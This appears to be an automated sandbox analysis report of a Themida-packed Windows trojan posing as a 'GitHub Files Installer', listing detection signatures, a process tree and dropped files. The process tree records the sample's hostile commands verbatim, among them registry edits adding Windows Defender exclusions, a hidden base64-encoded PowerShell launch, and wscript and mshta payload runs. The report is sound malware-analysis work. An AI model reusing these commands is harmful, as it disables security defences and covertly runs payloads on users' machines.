Overview

overview

9

Static

static

3

ProjectLoad.exe

windows10-2004-x64

9

ProjectLoad.exe

windows10-ltsc_2021-x64

9

ProjectLoad.exe

windows11-21h2-x64

9

Resubmissions

29/04/2026, 16:48

260429-vbcf9ahw4p9

29/04/2026, 16:22

260429-tvqmjshv4m7

Analysis

  • user interaction
    yes
  • max time kernel
    300s
  • max time network
    304s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/04/2026, 16:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ProjectLoad.exe
  • Size 64.5MB
  • Sample260429-vbcf9ahw4p
  • SHA256 f86352ecaf34773e85d979220b9825f6c1ec45b5c93d5ecca9998dc2b49cf3a8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionthemidatrojan

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 9 IoCs
  • Themida packer 18 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Checks whether UAC is enabled 1 TTPs 5 IoCs
    defense_evasiontrojan
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ProjectLoad.exe
    "C:\Users\Admin\AppData\Local\Temp\ProjectLoad.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3912
      • C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1696 --field-trial-handle=1700,i,2590862277901931440,5780483417136197387,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:4316
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4020
        • C:\Windows\system32\tasklist.exe
          tasklist /FO CSV /NH
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3392
      • C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec" --mojo-platform-channel-handle=2004 --field-trial-handle=1700,i,2590862277901931440,5780483417136197387,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1152
      • C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec" --app-path="C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\resources\app.asar" --enable-sandbox --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2832 --field-trial-handle=1700,i,2590862277901931440,5780483417136197387,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2528
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\2b7077d9.vbs""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4740
        • C:\Windows\system32\wscript.exe
          wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\2b7077d9.vbs"
          4⤵
            PID:4200
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe" /t REG_DWORD /d 0 /f"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3396
          • C:\Windows\system32\reg.exe
            reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\GitHub Files Installer.exe" /t REG_DWORD /d 0 /f
            4⤵
              PID:3764
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896" /t REG_DWORD /d 0 /f"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4416
            • C:\Windows\system32\reg.exe
              reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896" /t REG_DWORD /d 0 /f
              4⤵
                PID:1960
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe" /t REG_DWORD /d 0 /f"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4088
              • C:\Windows\system32\reg.exe
                reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe" /t REG_DWORD /d 0 /f
                4⤵
                  PID:2056
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\c22615.vbs""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4844
                • C:\Windows\system32\wscript.exe
                  wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\c22615.vbs"
                  4⤵
                  • Checks computer location settings
                  • Suspicious use of WriteProcessMemory
                  PID:4952
                  • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe
                    "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe"
                    5⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:3392
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -W Hidden -E UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEcAaQB0AEgAdQBiAFwAYwBhAGMAaABlAFwAMQA3ADcANwA0ADgAMQAzADMANwA4ADkANgBcAEcAaQB0AEgAdQBiAEQAZQBzAGsAdABvAHAASABlAGwAcABlAHIALgBlAHgAZQAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA="
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4992
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoP -NonI -W Hidden -E UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEcAaQB0AEgAdQBiAFwAYwBhAGMAaABlAFwAMQA3ADcANwA0ADgAMQAzADMANwA4ADkANgBcAEcAaQB0AEgAdQBiAEQAZQBzAGsAdABvAHAASABlAGwAcABlAHIALgBlAHgAZQAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4188
                  • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe
                    "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe"
                    5⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:4648
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2820
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4348
                  • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe
                    "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe"
                    5⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:3404
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2752
                • C:\Windows\explorer.exe
                  explorer.exe "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe"
                  4⤵
                    PID:948
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "mshta.exe "C:\Users\Admin\AppData\Local\Temp\ccb7f4.hta""
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3212
                  • C:\Windows\system32\mshta.exe
                    mshta.exe "C:\Users\Admin\AppData\Local\Temp\ccb7f4.hta"
                    4⤵
                    • Checks computer location settings
                    • Suspicious use of WriteProcessMemory
                    PID:760
                    • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe
                      "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe"
                      5⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:4548
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:2976
              • C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe
                "C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe"
                2⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:400

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  2b7077d9.vbs
                  • Path C:\Users\Admin\AppData\Local\Temp\2b7077d9.vbs
                  • Size 533B
                  • SHA256 fd1cfe7488968d9c73877b027ed530a01348ab3cdcc084b3c192f49cdc585742
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  chrome_100_percent.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\chrome_100_percent.pak
                  • Size 150KB
                  • SHA256 49aff5690cb9b0f54f831351aa0f64416ba180a0c4891a859fa7294e81e9c8e3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  chrome_200_percent.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\chrome_200_percent.pak
                  • Size 229KB
                  • SHA256 4d5b51f720f7d3146e131c54a6f75e4e826c61b2ff15c8955f6d6dd15bedf106
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  d3dcompiler_47.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\d3dcompiler_47.dll
                  • Size 4.7MB
                  • SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ffmpeg.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\ffmpeg.dll
                  • Size 2.7MB
                  • SHA256 11daf2bf89a3ac660533b3e487e0624668b35f45d2bd94e9b0324bce8758de60
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  icudtl.dat
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\icudtl.dat
                  • Size 10.2MB
                  • SHA256 7bf96c193befbf23514401f8f6568076450ade52dd1595b85e4dfcf3de5f6fb9
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libEGL.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\libEGL.dll
                  • Size 468KB
                  • SHA256 a4336a318e8d92a47843d5fe429dc6d1ff7271d8bac189d719bc8074a128fd6e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libglesv2.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\libglesv2.dll
                  • Size 7.3MB
                  • SHA256 7b0baa9e2e731716efe3e0bebf6a0bcd2d64f35d9f62b20d23acb4e098c9be36
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  en-US.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\locales\en-US.pak
                  • Size 440KB
                  • SHA256 20be1732675fedf380010b09936ed65c71bb761d0a05732215ef0795b5aba606
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  resources.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\resources.pak
                  • Size 5.0MB
                  • SHA256 1efdd507bb6f4fb07329ec7ec29ee00c952d6390bd5cfe3b41fb307c5caeab6c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  app.asar
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\resources\app.asar
                  • Size 72KB
                  • SHA256 afb5a6ac8c5a0996c277827c67e2be455221e0266ad75113303db2380ea3c801
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  v8_context_snapshot.bin
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\v8_context_snapshot.bin
                  • Size 663KB
                  • SHA256 83a8345ea197020e07fe2cf53e74f31d0cc632ca1537f5c9c1db2fb2665ab04f
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vk_swiftshader.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\vk_swiftshader.dll
                  • Size 5.1MB
                  • SHA256 46afb1ed7ab1b1a679e00784b2e78cc2358cec615553699624ff77882f55787b
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vk_swiftshader_icd.json
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\vk_swiftshader_icd.json
                  • Size 106B
                  • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  vulkan-1.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\7z85DE16D0\vulkan-1.dll
                  • Size 932KB
                  • SHA256 fa6b4e20eb448746e2eff9a7fde7a62585e371f3497a6a928eade0a8ce8c1a9f
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  GitHubDesktopHelper.exe
                  • Path C:\Users\Admin\AppData\Local\Temp\GitHub\cache\1777481337896\GitHubDesktopHelper.exe
                  • Size 3.5MB
                  • SHA256 a7949ce82225d83acf961ec8d4bc085758660600e4c4f965d265cc32cc6b31b4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  __PSScriptPolicyTest_run4aqqn.rj2.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_run4aqqn.rj2.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  c22615.vbs
                  • Path C:\Users\Admin\AppData\Local\Temp\c22615.vbs
                  • Size 140B
                  • SHA256 ed058751ded18cf2d1ba98cd63ddd7a45e6480ef1f8867f195417395933c82a6
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  ccb7f4.hta
                  • Path C:\Users\Admin\AppData\Local\Temp\ccb7f4.hta
                  • Size 163B
                  • SHA256 90cc1459a258dd08771bc2c9a923842e565b524d50e8903a8161922960df4f70
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  default.dic
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
                  • Size 2B
                  • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                  • MD5 SHA1 SHA512
                  Submit Download

                  data_0
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\GPUCache\data_0
                  • Size 8KB
                  • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  data_1
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\GPUCache\data_1
                  • Size 264KB
                  • SHA256 dc906e4c46ae4eb7a179a676bb3d582c55e30d6f8f8b1f7ca78a34095a4f077c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  data_2
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\GPUCache\data_2
                  • Size 8KB
                  • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  data_3
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\GPUCache\data_3
                  • Size 8KB
                  • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  MANIFEST-000001
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\Local Storage\leveldb\MANIFEST-000001
                  • Size 41B
                  • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                  • MD5 SHA1 SHA512
                  Submit Download

                  Network Persistent State
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\Network\Network Persistent State
                  • Size 496B
                  • SHA256 eca9b5b8dcd8ca5e3d75f84fc49934b8ad82dfabda98f2092f00105de704c3de
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  Network Persistent State~RFe58bcb4.TMP
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\Network\Network Persistent State~RFe58bcb4.TMP
                  • Size 59B
                  • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  CURRENT
                  • Path C:\Users\Admin\AppData\Roaming\gh-installer-2c3c4ed119ec\Session Storage\CURRENT
                  • Size 16B
                  • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                  • MD5 SHA1 SHA512
                  Submit Download

                  memory/400-299-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/400-297-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/400-434-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/400-570-0x0000000000740000-0x00000000007EC000-memory.dmp
                  Download

                  memory/400-435-0x0000000000740000-0x00000000007EC000-memory.dmp
                  Download

                  memory/400-490-0x0000000000740000-0x00000000007EC000-memory.dmp
                  Download

                  memory/760-307-0x00000231D9920000-0x00000231D9975000-memory.dmp
                  Download

                  memory/948-298-0x0000000000CD0000-0x000000000140F000-memory.dmp
                  Download

                  memory/1152-252-0x000001A713C90000-0x000001A713D3C000-memory.dmp
                  Download

                  memory/2528-206-0x00007FFBA0860000-0x00007FFBA0861000-memory.dmp
                  Download

                  memory/2528-259-0x000002653E520000-0x000002653E5CC000-memory.dmp
                  Download

                  memory/2528-207-0x00007FFB9FB90000-0x00007FFB9FB91000-memory.dmp
                  Download

                  memory/2976-488-0x0000000001530000-0x0000000001C6F000-memory.dmp
                  Download

                  memory/2976-433-0x0000000001530000-0x0000000001C6F000-memory.dmp
                  Download

                  memory/3392-653-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3392-270-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3392-643-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3392-177-0x000001BBB19E0000-0x000001BBB1A35000-memory.dmp
                  Download

                  memory/3392-273-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3392-308-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3392-310-0x0000000000400000-0x00000000004AC000-memory.dmp
                  Download

                  memory/3404-295-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3404-430-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3404-568-0x0000000000730000-0x00000000007DC000-memory.dmp
                  Download

                  memory/3404-293-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/3404-487-0x0000000000730000-0x00000000007DC000-memory.dmp
                  Download

                  memory/3404-432-0x0000000000730000-0x00000000007DC000-memory.dmp
                  Download

                  memory/3912-244-0x0000026D98830000-0x0000026D988DC000-memory.dmp
                  Download

                  memory/4188-279-0x000002389C3C0000-0x000002389C3E2000-memory.dmp
                  Download

                  memory/4188-286-0x0000023884010000-0x000002388401C000-memory.dmp
                  Download

                  memory/4188-285-0x0000023883F10000-0x0000023883F65000-memory.dmp
                  Download

                  memory/4188-287-0x00000238840C0000-0x00000238840C8000-memory.dmp
                  Download

                  memory/4200-248-0x000002AF61A10000-0x000002AF61A1C000-memory.dmp
                  Download

                  memory/4200-247-0x000002AF60010000-0x000002AF600BC000-memory.dmp
                  Download

                  memory/4316-251-0x000001E8B0AB0000-0x000001E8B0B5C000-memory.dmp
                  Download

                  memory/4548-306-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4548-572-0x0000000000710000-0x00000000007BC000-memory.dmp
                  Download

                  memory/4548-437-0x0000000000710000-0x00000000007BC000-memory.dmp
                  Download

                  memory/4548-436-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4548-305-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4548-492-0x0000000000710000-0x00000000007BC000-memory.dmp
                  Download

                  memory/4648-311-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4648-566-0x0000000000720000-0x00000000007CC000-memory.dmp
                  Download

                  memory/4648-289-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4648-485-0x0000000000720000-0x00000000007CC000-memory.dmp
                  Download

                  memory/4648-288-0x0000000140000000-0x000000014097B000-memory.dmp
                  Download

                  memory/4648-429-0x0000000000720000-0x00000000007CC000-memory.dmp
                  Download

                  memory/4952-272-0x00000200A5710000-0x00000200A571C000-memory.dmp
                  Download

                  memory/4952-271-0x00000200A55B0000-0x00000200A565C000-memory.dmp
                  Download